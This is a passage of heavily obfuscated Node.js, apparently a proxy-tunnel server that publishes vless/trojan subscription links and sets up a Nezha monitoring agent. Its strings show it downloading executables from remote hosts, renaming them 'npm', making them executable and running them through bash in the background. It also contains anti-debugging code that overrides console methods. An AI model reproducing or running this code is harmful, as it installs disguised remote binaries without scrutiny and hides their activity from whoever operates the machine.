mGvS','fqKpl','/bin/bash','YBeQJ','chmod\x20+x\x20n','XkJQZ','trace','FpzbR','MlYiW','mJctv','rjMKr','rn\x20this\x22)(','Xpato','lhsQw','wumnV','ep\x22\x20|\x20grep','QQhKQ','nt:\x20true\x0as','ZDMNy','connection','RqgyX','3?security','ZSsaO','uSQqD','host','FyRnO','nkJgZ','CPaPW','fTOgZ','false','Status','update','yGijN','rt_period:','bqeBl','close','every','DYsjs','eady\x20runni','apply','ZzriQ','--skip-con','lDmCg','FyEOt','kWsJT','rRRzd','console','se\x0agpu:\x20fa','sha224','arch','npm\x20downlo','resolve\x20','shell','gqzIz','Hello\x20worl','wCjdm','RGTOq','n\x20--skip-p','c78-4fce-a','hBNdR','EEttt','AqQlc','ODRNR','Whshc','hMJpo','NEZHA_KEY','iGigU','sHNer','JpJXR','axios','nuwob','eed.cloudf','EIUrU','mmand_exec','g\x20error:','xTrix','ctor(\x22retu','XsxtB','gabqQ','id:\x20','pbGpY','nDkar','CGtkX','find','toString','bind','ute:\x20false','env','jCfZh','base64','18EDXNqh','RSfgj','log','aspgQ','VplcA','mvfUc','\x20-p\x20','BVtKt','constructo','2096','ZmoDq','QbukQ','arm','Not\x20Found\x0a','orce_updat','tion','KzNHI','includes','&type=ws&h','TaUnK','ection_cou','281628MJFaYC','=tls&sni=','WfvNT','gxvVe','DNS\x20server','utf8','dYenr','6AIMvCo','hfddl','mTbEX','writeFileS','dBAjp','.eu.org:44','dfFht','xLRRZ','lKKrX','VbzPg','1234.abc.c','NEZHA\x20vari','query:\x20fal','split','finish','e:\x20false\x0au','lFCKi','qioqW','\x0adebug:\x20fa','esolve?nam','dMcxp','pipe','@cdns.doon','ng,\x20skip\x20r','table','ps\x20aux\x20|\x20g','NNXQk','true','phVMt','end','LMQeH','iiGjZ','GnFHl','text/html','rVpgs','n/dns-json','cQTSZ','WqTQT','https://am','once','oKFjB','443','port','disable_co','\x0adisable_f','VXVtJ','bZEJP','QTvSI','npm\x20is\x20alr','suNbo','aml\x20>/dev/','umEPR','zpKJQ','length','reduce','get','sable_nat:','te\x20--repor','from','JrjiT','xmMIC','(((.+)+)+)','child_proc','Vznkv','client_sec','ning','https://ar','zPsHv','error:\x20','ZoNre','FPJoe','EFEaM','npm\x20runnin','nction()\x20','ARSRp','Answer','4\x0aserver:\x20','wANHY','concat','Automatic\x20','Failed\x20to\x20','_to_upgrad','keKUO','d64.ssss.n','mJPQK','Cwxjn','nxYiD','44eOpEqi','readUInt8','cfvGk','3?encrypti','lrXgS','NEZHA_PORT','QRCEP','eta','2087',':\x20false\x0auu','AOcRE','iSVyL','data','EGJDl','n/json','unning...','kzmev','qwTSw','oFZzo','Access\x20Tas','tzACH','buffer','createServ','ghSiG','UWslu','kCNrA','vXoNB','oo.serv00.','RzOnE','trim','jWGGa','npm\x20is\x20run','NaXSu','ffSKq','SKuNC','re_tls:\x20tr','groAZ','qqzOH','DmPIR','TUVCk','DOMAIN','search','ate:\x20true\x0a','digest','e:\x20true\x0adi','rtvDM','lEMRs','Dqlpp','KnsTw','ZAlvW','running','VyDyQ','substr','https://dn','QDXzG','AjKBz','yc.mn/v1','bflWB','country','utf-8','index.html','ue\x0aip_repo','lrtnn','ure:\x20false','oSubc','eStream','replace','join','createHash','then','kip_procs_','rhzNV','prototype','able\x20is\x20em','LxAkb','readUInt16','fQLaG','YXBoo','ad\x20success','QhTuf','QedHE','s.google/r','{}.constru','CXMPw','Vkfcn','137652TvbdsN','ret:\x20','gvbHK','trojan://','\x20with\x20all\x20','m64.ssss.n','null\x202>&1\x20','IcpTS','e\x0atemperat','hBAFz','https://oo','8.8.4.4','WtJzW','url','hGnUa','net/add-ur','33903PlguDD','Unknown'];_0x22d9=function(){return _0x3304c1;};return _0x22d9();}const _0x1720f2=(function(){const _0x101b42={};_0x101b42[_0x24191d(0x336,0x288,0x342,0x285)]=function(_0x20cabe,_0x417103){return _0x20cabe<_0x417103;};function _0x24191d(_0x2e2f57,_0x4546a4,_0x1ae53d,_0x458325){return _0x38c5(_0x458325-0x156,_0x1ae53d);}function _0x390c99(_0x54bf4c,_0x1ab8c0,_0x5e8ceb,_0x257932){return _0x38c5(_0x5e8ceb-0x3bd,_0x1ab8c0);}_0x101b42['ZDMNy']=_0x390c99(0x51b,0x55b,0x57e,0x536),_0x101b42[_0x390c99(0x5c6,0x5c8,0x5d8,0x682)]='EEttt';const _0x2de8fb=_0x101b42;let _0x716272=!![];return function(_0x740c14,_0x1e2a18){const _0x39cfdb={'EIUrU':function(_0x298546,_0x3de585){return _0x2de8fb['QDXzG'](_0x298546,_0x3de585);},'dfFht':_0x2de8fb[_0x16b9b1(0x5c8,0x50e,0x511,0x54e)],'hGnUa':function(_0x448687,_0x45fcc4){return _0x448687===_0x45fcc4;},'pMaCi':_0x2de8fb[_0x25f786(0x4f9,0x4cd,0x448,0x532)]},_0x14ba64=_0x716272?function(){function _0x3e0754(_0x35cc1e,_0x13a75f,_0x227f02,_0x11b07a){return _0x25f786(_0x11b07a-0x2e,_0x13a75f-0x1c7,_0x227f02,_0x11b07a-0x154);}function _0x52dd9f(_0x4a8587,_0x5af677,_0x2614b4,_0xbd78aa){return _0x16b9b1(_0x4a8587-0xd5,_0x2614b4,_0xbd78aa- -0x47f,_0xbd78aa-0x139);}if(_0x39cfdb[_0x52dd9f(-0x4,-0x3e,-0xe7,-0xa)](_0x3e0754(0x4a5,0x4a6,0x459,0x52e),_0x39cfdb[_0x3e0754(0x574,0x419,0x4ed,0x4eb)])){if(_0x1e2a18){const _0x2aed49=_0x1e2a18['apply'](_0x740c14,arguments);return _0x1e2a18=null,_0x2aed49;}}else _0x39cfdb[_0x52dd9f(0x2a,0xa9,0x105,0xc8)](_0xb7837a,_0x31cc24[_0x3e0754(0x3ef,0x43d,0x40e,0x3e3)])&&this[_0x3e0754(0x43c,0x4b8,0x530,0x479)](_0x61f145['slice'](_0x12873c)),_0x267301['on'](_0x52dd9f(0x131,0x33,0xfc,0x5b),()=>{})['pipe'](this)['on'](_0x39cfdb[_0x3e0754(0x629,0x5b3,0x491,0x56e)],()=>{})['pipe'](_0x12e10c);}:function(){};_0x716272=![];function _0x25f786(_0x70bbd2,_0x28bc1c,_0x559c6f,_0x4b2d33){return _0x24191d(_0x70bbd2-0xcd,_0x28bc1c-0x1b3,_0x559c6f,_0x70bbd2-0x188);}function _0x16b9b1(_0x21227a,_0x2a7d64,_0x18cd96,_0x45a6d1){return _0x390c99(_0x21227a-0x1d7,_0x2a7d64,_0x18cd96- -0xa4,_0x45a6d1-0xf9);}return _0x14ba64;};}()),_0x19a6ae=_0x1720f2(this,function(){const _0x4ed8a2={};function _0x197ff2(_0x5a4b52,_0x521452,_0x3046e5,_0xf173e){return _0x38c5(_0xf173e-0x2e4,_0x3046e5);}_0x4ed8a2[_0x197ff2(0x3ce,0x3de,0x33c,0x3a2)]=_0x197ff2(0x483,0x44a,0x48a,0x3c3)+'+$';function _0x54e371(_0x14a4ef,_0x3c6146,_0x18202c,_0x4204fa){return _0x38c5(_0x18202c-0x3b2,_0x3c6146);}const _0x2129ee=_0x4ed8a2;return _0x19a6ae['toString']()['search'](_0x2129ee[_0x54e371(0x42f,0x437,0x470,0x47b)])[_0x54e371(0x6b1,0x643,0x5ec,0x684)]()['constructo'+'r'](_0x19a6ae)[_0x197ff2(0x41c,0x430,0x3b6,0x406)](_0x197ff2(0x360,0x448,0x30d,0x3c3)+'+$');});_0x19a6ae();const _0x392fd6=(function(){const _0x3ac80e={};_0x3ac80e[_0x2e53fe(0x425,0x48b,0x3dc,0x361)]=function(_0x46297,_0xd47428){return _0x46297+_0xd47428;},_0x3ac80e[_0x1ac75d(-0x152,-0xfe,-0x158,-0x98)]=function(_0x377a4a,_0x4a90c4){return _0x377a4a===_0x4a90c4;};function _0x2e53fe(_0x5d9895,_0x325df5,_0x38ea18,_0x35d728){return _0x38c5(_0x5d9895-0x293,_0x35d728);}_0x3ac80e[_0x2e53fe(0x37f,0x34d,0x30c,0x319)]='tuEbl',_0x3ac80e[_0x1ac75d(-0x141,-0x148,-0x11b,-0x146)]='mJWJz';const _0x50b2e4=_0x3ac80e;function _0x1ac75d(_0x196440,_0x4af51f,_0x2572a4,_0x28cb53){return _0x38c5(_0x4af51f- -0x2f2,_0x28cb53);}let _0x37075d=!![];return function(_0x5918ef,_0x487041){const _0x360325=_0x37075d?function(){const _0x4cf7dc={'CLDME':function(_0x1ddde2,_0x558d65){function _0x58483f(_0x252a91,_0x2831f2,_0xd77bc4,_0x381cd0){return _0x38c5(_0x2831f2- -0x2de,_0xd77bc4);}return _0x50b2e4[_0x58483f(-0x178,-0x14c,-0x1fb,-0x103)](_0x1ddde2,_0x558d65);},'kTdGO':_0x25ae54(0x2f7,0x340,0x28c,0x369)};function _0x25ae54(_0x26bf22,_0x3f0a1e,_0x1aa561,_0x4b9f78){return _0x38c5(_0x4b9f78-0x12a,_0x3f0a1e);}function _0x5e877f(_0x4a0522,_0x2d0b46,_0x515844,_0x3f442a){return _0x38c5(_0x2d0b46- -0x2ca,_0x4a0522);}if(_0x50b2e4[_0x25ae54(0x363,0x312,0x2f3,0x31e)](_0x50b2e4[_0x25ae54(0x284,0x243,0x283,0x216)],_0x25ae54(0x19d,0x285,0x338,0x277)))return![];else{if(_0x487041){if(_0x50b2e4[_0x5e877f(-0x137,-0x120,-0xc5,-0x134)]!==_0x50b2e4['MPFGQ']){const _0x4868f9=_0x449722?_0x4f6a1a+'-'+_0x3c9034:_0x5dc18a,_0x34dacb=_0x5e877f(-0x1cd,-0x103,-0x113,-0x19c)+_0x2ee01b+(_0x5e877f(-0x2a3,-0x212,-0x259,-0x1d9)+_0x25ae54(0x3fc,0x2b1,0x2c1,0x38b)+_0x5e877f(-0x273,-0x1ce,-0x283,-0x16f)+'on=none&se'+_0x5e877f(-0x1c8,-0x166,-0x1a0,-0x10f)+_0x5e877f(-0xdb,-0x162,-0xae,-0x1eb))+_0x16c76e+(_0x25ae54(0x284,0x23b,0x216,0x290)+_0x25ae54(0x3f0,0x2c5,0x2de,0x37c)+'ost=')+_0x4f1b58+_0x25ae54(0x308,0x1bd,0x285,0x299)+_0x1ca549+'#'+_0x4868f9,_0x5658d2=_0x25ae54(0x297,0x315,0x1a4,0x27b)+_0x15d6d9+(_0x25ae54(0x25f,0x109,0x15d,0x1e2)+_0x5e877f(0xc,-0x69,0x6b,-0x111)+_0x5e877f(-0xf3,-0xcf,-0x101,-0x7e)+_0x5e877f(-0x22,-0x74,0x8,-0xe2))+_0x1caf1f+(_0x5e877f(-0xaf,-0x164,-0xc6,-0x171)+_0x5e877f(-0x89,-0x78,0x4d,-0x51)+_0x25ae54(0x36b,0x22a,0x2d3,0x2db))+_0x34d759+_0x25ae54(0x255,0x25d,0x2d7,0x299)+_0x33ac18+'#'+_0x4868f9,_0x133043=_0x4cf7dc['CLDME'](_0x34dacb+'\x0a',_0x5658d2),_0x168abe=_0x3643b4[_0x25ae54(0x26a,0x17e,0x1ca,0x206)](_0x133043)[_0x5e877f(-0xc3,-0x90,0x3b,-0xe6)](_0x4cf7dc[_0x25ae54(0x29e,0x2a6,0x387,0x2ea)]),_0x4caf62={};_0x4caf62[_0x25ae54(0x240,0x343,0x39f,0x2e0)+'pe']='text/plain',_0x45a080[_0x25ae54(0x35c,0x379,0x2ba,0x30d)](-0x2370+0x1*0xfb+0x233d,_0x4caf62),_0x59b40b[_0x25ae54(0x186,0x12a,0x1fa,0x1e9)](_0x4cf7dc[_0x25ae54(0x25c,0x2f6,0x213,0x2a2)](_0x168abe,'\x0a'));}else{const _0x171c1c=_0x487041['apply'](_0x5918ef,arguments);return _0x487041=null,_0x171c1c;}}}}:function(){};return _0x37075d=![],_0x360325;};}()),_0xb0775a=_0x392fd6(this,function(){const _0x7a9970={'kWsJT':function(_0x8b9a78,_0x3e4cf2){return _0x8b9a78(_0x3e4cf2);},'bflWB':function(_0x8bd026){return _0x8bd026();},'nDkar':function(_0x24b8bc,_0xe23b1d){return _0x24b8bc+_0xe23b1d;},'ffSKq':_0x524bd7(0x396,0x2f6,0x323,0x2fc)+'nction()\x20','Whshc':'{}.constru'+'ctor(\x22retu'+'rn\x20this\x22)('+'\x20)','keKUO':function(_0x5666cf,_0x28c907){return _0x5666cf!==_0x28c907;},'IfWWp':_0x111ad5(0x3d9,0x375,0x2e5,0x3b5),'ayusR':_0x524bd7(0x3c4,0x464,0x45e,0x3b6),'jwAYh':_0x524bd7(0x2c3,0x3da,0x2b5,0x348),'WLDRz':_0x111ad5(0x431,0x423,0x4f7,0x3cb),'ezBOG':_0x111ad5(0x450,0x43b,0x3d9,0x4cd),'bqeBl':_0x524bd7(0x2bd,0x404,0x423,0x34e),'iGigU':_0x524bd7(0x1ac,0x154,0x1fd,0x22e),'KhvJN':_0x524bd7(0x43d,0x2f2,0x35e,0x360),'SaRQo':function(_0x50582d,_0x41c98f){return _0x50582d<_0x41c98f;}};function _0x524bd7(_0x529759,_0x481892,_0x557e0a,_0x171ad8){return _0x38c5(_0x171ad8-0x174,_0x529759);}function _0x111ad5(_0x442109,_0x464b61,_0xe56181,_0x44af0d){return _0x38c5(_0x464b61-0x27a,_0xe56181);}let _0x3c9213;try{const _0x2fa6d0=Function(_0x7a9970[_0x524bd7(0x419,0x33c,0x402,0x3ab)](_0x7a9970[_0x111ad5(0x474,0x4b1,0x48b,0x473)](_0x7a9970[_0x524bd7(0x1e7,0x1e8,0x256,0x28e)],_0x7a9970[_0x524bd7(0x3ac,0x420,0x3fe,0x399)]),');'));_0x3c9213=_0x7a9970[_0x111ad5(0x2d2,0x3ac,0x3e4,0x41b)](_0x2fa6d0);}catch(_0x8f20b1){if(_0x7a9970[_0x524bd7(0x191,0x232,0x1b9,0x268)](_0x7a9970['IfWWp'],_0x7a9970[_0x524bd7(0x24a,0x24a,0x2ed,0x315)])){if(_0x304eda)_0x7a9970[_0x111ad5(0x425,0x48c,0x459,0x3eb)](_0x254f95,_0x482614);_0x7a9970[_0x524bd7(0x382,0x1fb,0x26f,0x2a6)](_0x491680);}else _0x3c9213=window;}const _0x252980=_0x3c9213['console']=_0x3c9213[_0x524bd7(0x34f,0x313,0x349,0x388)]||{},_0x4dc65e=[_0x7a9970[_0x524bd7(0x33b,0x382,0x3bd,0x305)],_0x7a9970['jwAYh'],_0x7a9970['WLDRz'],_0x7a9970[_0x524bd7(0x284,0x323,0x242,0x304)],_0x7a9970[_0x111ad5(0x3b6,0x482,0x444,0x3f1)],_0x7a9970[_0x524bd7(0x311,0x415,0x33c,0x39c)],_0x7a9970[_0x111ad5(0x399,0x445,0x4d8,0x4a1)]];for(let _0x1f6901=-0x1*0x510+-0x1*-0x1ca0+-0x1790;_0x7a9970['SaRQo'](_0x1f6901,_0x4dc65e[_0x111ad5(0x33b,0x351,0x2d4,0x324)]);_0x1f6901++){const _0x50a4fd=_0x392fd6[_0x524bd7(0x3e4,0x32e,0x44c,0x3bc)+'r'][_0x111ad5(0x340,0x3bb,0x395,0x3de)][_0x111ad5(0x4be,0x4b5,0x462,0x4b2)](_0x392fd6),_0x302af4=_0x4dc65e[_0x1f6901],_0x50f0cf=_0x252980[_0x302af4]||_0x50a4fd;_0x50a4fd[_0x111ad5(0x36d,0x443,0x474,0x3df)]=_0x392fd6[_0x524bd7(0x452,0x47f,0x339,0x3af)](_0x392fd6),_0x50a4fd[_0x111ad5(0x3ea,0x4b4,0x527,0x4e0)]=_0x50f0cf[_0x111ad5(0x52a,0x4b4,0x412,0x528)]['bind'](_0x50f0cf),_0x252980[_0x302af4]=_0x50a4fd;}});_0xb0775a();const os=require('os'),http=require('http'),fs=require('fs'),axios=require(_0x23a861(0x13,0x86,0x16b,0x9f)),net=require('net'),path=require(_0x23a861(0x74,-0xb3,0x76,0x13)),crypto=require('crypto'),{Buffer}=require(_0x23a861(-0x84,0x23,0x47,-0x7e)),{exec,execSync}=require(_0x187de4(0x3,-0xd6,-0xdd,-0x7)+'ess'),{WebSocket,createWebSocketStream}=require('ws'),UUID=process[_0x187de4(0x39,0x87,0xcd,-0x1d)]['UUID']||'ce2aa9c2-e'+_0x23a861(0x18,0x16d,0x16,0x94)+_0x187de4(0xbd,-0x13,-0xa5,-0xd6)+'0eeabc',NEZHA_SERVER=process[_0x187de4(0xf4,0x87,0xb3,0x83)]['NEZHA_SERV'+'ER']||'',NEZHA_PORT=process[_0x23a861(0x174,0x50,0x161,0xb1)][_0x23a861(-0xd7,-0x97,-0x1,-0x8e)]||'',NEZHA_KEY=process[_0x23a861(-0x1a,0x9a,0x6b,0xb1)][_0x23a861(0xf9,-0xe,0xdd,0x9b)]||'',DOMAIN=process[_0x23a861(0xb8,0x67,0xaa,0xb1)][_0x23a861(0x49,0x53,0x1f,-0x6b)]||_0x187de4(0xb4,0xb0,0x173,0x15)+'om',AUTO_ACCESS=process[_0x187de4(0x136,0x87,0x6e,0x143)]['AUTO_ACCES'+'S']||![],WSPATH=process[_0x23a861(0xc5,0xef,0xb7,0xb1)]['WSPATH']||UUID[_0x23a861(-0x53,-0x73,0x85,0x40)](-0xbf8+-0x1670+0x2268,-0x1*-0x1349+0x87b+0x2c6*-0xa),SUB_PATH=process[_0x23a861(-0x26,0x111,0x12,0xb1)][_0x187de4(0xad,0x6,-0x39,0xc4)]||'dev';function _0x187de4(_0x20a435,_0x40d3f3,_0x3255e0,_0x242760){return _0x38c5(_0x40d3f3- -0x1b6,_0x3255e0);}const NAME=process[_0x187de4(0x60,0x87,0x14f,0xbb)]['NAME']||'',PORT=process[_0x187de4(0xb2,0x87,0x12d,0xf)][_0x187de4(-0x9a,-0x3c,-0xcf,-0x56)]||-0xed3+-0x222c+-0x3*-0x143d;let ISP='';const GetISP=async()=>{const _0x467736={};_0x467736[_0x1b06c2(0x384,0x412,0x369,0x35e)]=_0x3d8aa3(0xd9,0x1eb,0x12d,0x16d),_0x467736[_0x1b06c2(0x4ac,0x45d,0x589,0x469)]=_0x3d8aa3(0x266,0x222,0x35c,0x2b3),_0x467736[_0x3d8aa3(0x284,0x2fa,0x1b0,0x255)]=_0x1b06c2(0x422,0x402,0x4a4,0x4f6)+'l';function _0x1b06c2(_0x4bd097,_0x2fb16e,_0x39038f,_0x3430bc){return _0x23a861(_0x39038f,_0x2fb16e-0x81,_0x39038f-0xc1,_0x4bd097-0x3e0);}_0x467736[_0x1b06c2(0x43b,0x477,0x4ef,0x3a2)]=_0x3d8aa3(0x324,0x28a,0x1e1,0x25d)+_0x1b06c2(0x481,0x3c3,0x3a8,0x4e9)+_0x3d8aa3(0x28f,0x21c,0x1da,0x211)+_0x3d8aa3(0x22d,0x14c,0xe6,0x1b0),_0x467736[_0x1b06c2(0x38d,0x3eb,0x3dd,0x45a)]=function(_0x967e0b,_0x4b97f0){return _0x967e0b!==_0x4b97f0;},_0x467736[_0x1b06c2(0x3d2,0x3ac,0x455,0x409)]='ulcOD',_0x467736[_0x1b06c2(0x3f0,0x4b2,0x4ca,0x363)]=_0x3d8aa3(0x1ab,0x226,0x1ae,0x20f);function _0x3d8aa3(_0x4ece93,_0x369a91,_0x3fe734,_0x315f3a){return _0x187de4(_0x4ece93-0x3c,_0x315f3a-0x266,_0x4ece93,_0x315f3a-0x152);}const _0x4c35b6=_0x467736;try{const _0x3235ff=await axios['get'](_0x4c35b6[_0x3d8aa3(0x269,0x1db,0x32d,0x297)]),_0xbe69d8=_0x3235ff['data'];ISP=(_0xbe69d8[_0x3d8aa3(0x1b0,0x10c,0x1f9,0x1e3)]+'-'+_0xbe69d8['asOrganiza'+_0x3d8aa3(0x2a0,0x321,0x237,0x2ff)])[_0x3d8aa3(0x27b,0x19d,0x135,0x1eb)](/ /g,'_');}catch(_0x3edc3c){if(_0x4c35b6[_0x1b06c2(0x38d,0x460,0x358,0x2dd)](_0x4c35b6[_0x1b06c2(0x3d2,0x48a,0x444,0x34f)],_0x4c35b6['OYlFm'])){const _0x1c2326=_0x372142[_0x3d8aa3(0x2de,0x228,0x2c5,0x301)](':')?_0x16697d[_0x3d8aa3(0x1a1,0xf4,0x18f,0x15f)](':')[_0x3d8aa3(0x228,0x213,0x1ae,0x25b)]():'',_0x335ca9=_0x1940c6[_0x1b06c2(0x4a5,0x463,0x569,0x51e)](_0x1c2326)?_0x4c35b6[_0x3d8aa3(0x114,0x256,0x21e,0x1e0)]:_0x4c35b6[_0x1b06c2(0x4ac,0x497,0x520,0x521)],_0x44aad2=_0x1b06c2(0x336,0x343,0x368,0x2a8)+_0x3d8aa3(0x227,0x21a,0x1d3,0x1ff)+_0x213b15+(_0x3d8aa3(0x1cc,0xca,0x1ab,0x164)+_0x1b06c2(0x3c5,0x2f9,0x329,0x340)+_0x1b06c2(0x42c,0x47c,0x4e8,0x3e5)+_0x1b06c2(0x377,0x3e6,0x3cb,0x2e1)+_0x1b06c2(0x321,0x38b,0x262,0x261)+_0x3d8aa3(0x3b7,0x298,0x20c,0x2df)+_0x1b06c2(0x490,0x4e7,0x55c,0x518)+_0x1b06c2(0x322,0x289,0x391,0x2a9)+_0x1b06c2(0x4a2,0x55f,0x41b,0x3ea)+'e:\x20true\x0adi'+_0x3d8aa3(0x1cc,0x229,0x177,0x18a)+_0x1b06c2(0x438,0x376,0x4b7,0x4b4)+'able_send_'+'query:\x20fal'+_0x1b06c2(0x469,0x4d8,0x520,0x451)+'lse\x0ainsecu'+_0x3d8aa3(0x29f,0x200,0x1fa,0x1cc)+_0x3d8aa3(0x276,0x223,0x276,0x1e6)+_0x1b06c2(0x45b,0x424,0x47a,0x469)+_0x3d8aa3(0x25a,0x2d9,0x2b3,0x21b)+_0x3d8aa3(0x179,0x2cd,0x1c6,0x224)+_0x3d8aa3(0x185,0x208,0x1d4,0x19e))+_0x3b741d+(_0x1b06c2(0x402,0x3cd,0x333,0x479)+_0x3d8aa3(0x3bb,0x34c,0x3ce,0x304)+'nt:\x20true\x0as'+'kip_procs_'+_0x1b06c2(0x436,0x3d9,0x38f,0x43e)+'e\x0atemperat'+'ure:\x20false'+_0x3d8aa3(0x277,0x26d,0x30a,0x237))+_0x335ca9+('\x0ause_gitee'+_0x1b06c2(0x347,0x36d,0x419,0x2e9)+_0x3d8aa3(0xa6,0x1ed,0x14f,0x161)+'se_ipv6_co'+'untry_code'+_0x3d8aa3(0x126,0x18e,0x1ba,0x1b2)+_0x1b06c2(0x489,0x3af,0x415,0x498))+_0x431322;_0x3a1861[_0x1b06c2(0x4b3,0x4d3,0x580,0x590)+_0x1b06c2(0x426,0x445,0x395,0x420)](_0x4c35b6[_0x3d8aa3(0x200,0x235,0x25b,0x255)],_0x44aad2);}else ISP=_0x4c35b6[_0x1b06c2(0x3f0,0x40d,0x3d2,0x496)];}};GetISP();const httpServer=http[_0x23a861(-0x69,-0x8a,-0x111,-0x7d)+'er']((_0x22c794,_0x25c86a)=>{const _0x55b11e={};_0x55b11e[_0x1cba3b(-0x254,-0x1ff,-0x1a8,-0xcb)]='/bin/bash',_0x55b11e[_0x1cba3b(-0x164,-0xcc,-0x12a,-0xb6)]='text/html',_0x55b11e['rjMKr']=function(_0x1e7bc5,_0x81f91f){return _0x1e7bc5===_0x81f91f;},_0x55b11e['TCdxz']=_0x1cba3b(-0x1bb,-0x33b,-0x267,-0x30d),_0x55b11e[_0x31f352(0x8e,0x46,0xb4,0x1f)]=_0x31f352(0x11,-0xe2,-0xdd,-0x5e),_0x55b11e['sHNer']=_0x31f352(0x118,0xdf,0x178,0xc7),_0x55b11e['rRRzd']=function(_0x4ee365,_0x3f75cd){return _0x4ee365===_0x3f75cd;},_0x55b11e[_0x31f352(-0x2d,0x25,-0x167,-0x96)]=function(_0x420394,_0x341850){return _0x420394+_0x341850;},_0x55b11e['AHHwr']=_0x1cba3b(-0xa5,-0xeb,-0x109,-0x1ac),_0x55b11e[_0x1cba3b(-0x33f,-0x2e6,-0x282,-0x2d7)]=_0x1cba3b(-0x12f,-0x1e4,-0x1c8,-0x266),_0x55b11e[_0x31f352(-0x89,-0x9d,-0xa7,-0x81)]=function(_0x443b9a,_0x37a30f){return _0x443b9a+_0x37a30f;},_0x55b11e[_0x31f352(-0x6f,0x37,-0x21,-0x9c)]=_0x31f352(-0x1f,0x72,0xeb,0xba);function _0x31f352(_0x1625ee,_0x48db1c,_0x15fba0,_0x4d2019){return _0x23a861(_0x48db1c,_0x48db1c-0x10f,_0x15fba0-0x144,_0x4d2019- -0x7);}function _0x1cba3b(_0x13b791,_0x3e7667,_0x2fadbb,_0x2a99d8){return _0x23a861(_0x3e7667,_0x3e7667-0x127,_0x2fadbb-0x1eb,_0x2fadbb- -0x1bc);}const _0x42d44d=_0x55b11e;if(_0x42d44d[_0x31f352(0xf4,-0x6,0x123,0x5d)](_0x22c794[_0x31f352(-0x69,-0xa7,0x76,-0x38)],'/')){if(_0x1cba3b(-0x1c9,-0x1e9,-0x277,-0x337)===_0x42d44d['TCdxz']){const _0x33cb2c={};_0x33cb2c['XCzJM']=_0x1cba3b(-0x198,-0x20c,-0x25e,-0x29d)+'g\x20error:',_0x33cb2c[_0x31f352(0x41,-0x61,0x109,0x73)]='npm\x20is\x20run'+_0x31f352(-0x38,-0x49,-0xd3,-0xb0);const _0x29cb25=_0x33cb2c,_0x106688={};_0x106688[_0x1cba3b(-0xde,-0x169,-0x12e,-0x67)]=_0x42d44d[_0x31f352(0xc8,-0x44,0xba,0xd)],_0x2d076f(_0x2cfe28,_0x106688,_0x447f7f=>{function _0x31d456(_0x16f97a,_0x1c4edf,_0xd18484,_0x33a79c){return _0x1cba3b(_0x16f97a-0x31,_0x16f97a,_0xd18484-0x5c9,_0x33a79c-0x2);}function _0x2a6a1d(_0x9728be,_0x3cc46b,_0x56dc81,_0x41d964){return _0x31f352(_0x9728be-0x1b4,_0x3cc46b,_0x56dc81-0x13d,_0x56dc81- -0x1ab);}if(_0x447f7f)_0x5cf1be[_0x31d456(0x503,0x3ac,0x442,0x49c)](_0x29cb25[_0x2a6a1d(-0x11f,-0x164,-0x174,-0xaa)],_0x447f7f);else _0x5eb070[_0x31d456(0x523,0x554,0x4c3,0x446)](_0x29cb25[_0x2a6a1d(-0x18d,-0xa4,-0x138,-0x10e)]);});}else{const _0x33aea4=path[_0x1cba3b(-0x207,-0x193,-0x20c,-0x232)](__dirname,_0x42d44d[_0x1cba3b(-0xc6,-0xc4,-0x196,-0x20e)]);fs['readFile'](_0x33aea4,_0x42d44d[_0x31f352(0x3d,0x8b,0x119,0x96)],(_0x12393f,_0x147c58)=>{function _0x55b870(_0x94f6dd,_0x2a9075,_0x1fe9b6,_0x5b01de){return _0x1cba3b(_0x94f6dd-0x1e,_0x1fe9b6,_0x2a9075-0x179,_0x5b01de-0x13d);}if(_0x12393f){const _0x1ed434={};_0x1ed434[_0x193075(0x21e,0x322,0x303,0x29c)+'pe']=_0x193075(0x23f,0x178,0x22f,0x1a9),_0x25c86a[_0x193075(0x31c,0x2ad,0x31b,0x2c9)](-0x2424+-0x51*-0x77+-0xbb,_0x1ed434),_0x25c86a[_0x193075(0x21a,0x23d,0xca,0x1a5)](_0x55b870(-0x30,0x4d,0xf3,-0x79)+'d!');return;}const _0x2e1571={};_0x2e1571['Content-Ty'+'pe']=_0x42d44d[_0x55b870(-0x32,0x4f,0xa8,0x2f)];function _0x193075(_0x3c759e,_0x4ab81f,_0xbe0dec,_0x29e213){return _0x1cba3b(_0x3c759e-0x1c8,_0x3c759e,_0x29e213-0x42e,_0x29e213-0xde);}_0x25c86a[_0x55b870(0xc3,0x14,0x7,0x12)](-0xfc0+0x1b3d+-0xab5,_0x2e1571),_0x25c86a[_0x55b870(-0x1e1,-0x110,-0xd2,-0x19a)](_0x147c58);});return;}}else{if(_0x42d44d[_0x31f352(-0xd,0x9,0xb5,0x80)](_0x22c794['url'],'/'+SUB_PATH)){const _0x27710d=NAME?NAME+'-'+ISP:ISP,_0x2dad33='vless://'+UUID+(_0x31f352(-0x6e,-0x124,-0x128,-0xdb)+'.eu.org:44'+'3?encrypti'+'on=none&se'+_0x1cba3b(-0x1aa,-0x183,-0x1e4,-0x17f)+'&sni=')+DOMAIN+('&fp=chrome'+'&type=ws&h'+'ost=')+DOMAIN+'&path=%2F'+WSPATH+'#'+_0x27710d,_0xa99382=_0x1cba3b(-0x17a,-0x131,-0x1f7,-0x1eb)+UUID+('@cdns.doon'+_0x31f352(-0x6,0x53,0x12d,0xce)+_0x1cba3b(-0x1c6,-0x176,-0x14d,-0xa5)+_0x31f352(-0x16,0x15d,0x10c,0xc3))+DOMAIN+(_0x1cba3b(-0x208,-0x17e,-0x1e2,-0x216)+'&type=ws&h'+_0x31f352(0xcd,0xf7,0x51,0x1e))+DOMAIN+_0x1cba3b(-0x23c,-0x121,-0x1d9,-0x172)+WSPATH+'#'+_0x27710d,_0x27d0d8=_0x42d44d[_0x1cba3b(-0x2b4,-0x321,-0x24b,-0x2ef)](_0x42d44d['lrXgS'](_0x2dad33,'\x0a'),_0xa99382),_0x5f753e=Buffer[_0x31f352(-0x81,-0x148,-0x55,-0xb7)](_0x27d0d8)[_0x1cba3b(-0x194,-0x13b,-0x10e,-0x130)](_0x42d44d['AHHwr']),_0x883c16={};_0x883c16[_0x31f352(0x2b,-0x84,0x99,0x23)+'pe']=_0x42d44d[_0x31f352(-0xc6,-0x17,0x0,-0xcd)],_0x25c86a['writeHead'](-0x201b+-0x1b68+-0x405*-0xf,_0x883c16),_0x25c86a[_0x1cba3b(-0x320,-0x285,-0x289,-0x298)](_0x42d44d[_0x31f352(-0xa4,-0x4e,-0xab,-0x81)](_0x5f753e,'\x0a'));}else{const 